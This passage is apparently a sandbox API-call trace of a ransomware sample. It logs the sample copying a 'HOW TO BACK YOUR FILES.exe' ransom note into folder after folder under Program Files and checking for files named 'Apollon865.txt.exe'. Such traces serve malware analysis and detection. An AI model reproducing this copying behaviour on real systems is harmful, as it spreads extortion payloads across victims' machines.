	[0074.572] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5985e8 | out: hHeap=0x580000) returned 1
	[0074.572] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0074.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB") returned 43
	[0074.572] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\Ole DB" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB") returned="C:\\Program Files\\Common Files\\System\\Ole DB"
	[0074.572] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.573] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\ole db\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.578] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x44862070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44862070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.578] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.578] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.579] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US"
	[0074.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0074.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0074.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US") returned 49
	[0074.579] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US"
	[0074.579] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.579] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.584] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x44862070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44862070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.585] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.585] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.585] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\System\\MSMAPI", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI") returned="C:\\Program Files\\Common Files\\System\\MSMAPI"
	[0074.585] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598588 | out: hHeap=0x580000) returned 1
	[0074.585] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0074.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\MSMAPI") returned 43
	[0074.585] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\MSMAPI" | out: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI") returned="C:\\Program Files\\Common Files\\System\\MSMAPI"
	[0074.585] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.585] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\msmapi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.590] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x448881d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x448881d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.590] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.590] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.590] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033") returned="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033"
	[0074.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0074.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0074.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033") returned 48
	[0074.590] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" | out: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033") returned="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033"
	[0074.590] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.590] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.594] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x448881d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x448881d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.594] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.594] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.595] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\System\\msadc", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc") returned="C:\\Program Files\\Common Files\\System\\msadc"
	[0074.595] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598528 | out: hHeap=0x580000) returned 1
	[0074.595] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0074.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc") returned 42
	[0074.595] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\msadc" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc") returned="C:\\Program Files\\Common Files\\System\\msadc"
	[0074.595] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.595] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\msadc\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.600] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x448881d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x448881d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.600] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.600] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.601] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US"
	[0074.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0074.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0074.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US") returned 48
	[0074.601] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\msadc\\en-US" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US"
	[0074.601] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.601] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.608] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x448ae330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x448ae330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.608] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.608] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.608] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\System\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\System\\en-US") returned="C:\\Program Files\\Common Files\\System\\en-US"
	[0074.608] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5984c8 | out: hHeap=0x580000) returned 1
	[0074.608] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0074.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US") returned 42
	[0074.608] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\en-US" | out: lpString1="C:\\Program Files\\Common Files\\System\\en-US") returned="C:\\Program Files\\Common Files\\System\\en-US"
	[0074.608] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.608] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.613] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.613] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x448ae330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x448ae330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.614] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.614] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.614] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\System\\ado", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\System\\ado") returned="C:\\Program Files\\Common Files\\System\\ado"
	[0074.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0074.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0074.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado") returned 40
	[0074.614] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\ado" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado") returned="C:\\Program Files\\Common Files\\System\\ado"
	[0074.614] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.614] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\ado\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.620] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x448d4490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x448d4490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.620] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.620] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.620] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\System\\ado\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\en-US") returned="C:\\Program Files\\Common Files\\System\\ado\\en-US"
	[0074.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0074.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0074.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US") returned 46
	[0074.620] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\ado\\en-US" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\en-US") returned="C:\\Program Files\\Common Files\\System\\ado\\en-US"
	[0074.620] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.620] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.624] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x448d4490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x448d4490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.625] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.625] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.625] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\SpeechEngines", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines"
	[0074.625] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0074.625] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0074.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines") returned 43
	[0074.625] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\SpeechEngines" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines"
	[0074.625] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.625] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\SpeechEngines\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\speechengines\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.630] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x448d4490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x448d4490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.630] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.630] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.630] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft"
	[0074.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0074.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0074.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned 53
	[0074.630] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft"
	[0074.630] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.630] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.635] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.635] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x448fa5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x448fa5f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.635] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.635] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.635] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20"
	[0074.635] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0074.635] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0074.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned 59
	[0074.635] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20"
	[0074.635] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.635] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0074.636] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.636] GetLastError () returned 0x0
	[0074.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0074.636] ReadFile (in: hFile=0xc0, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0074.637] CloseHandle (hObject=0xc0) returned 1
	[0074.637] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0074.637] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.637] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.637] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
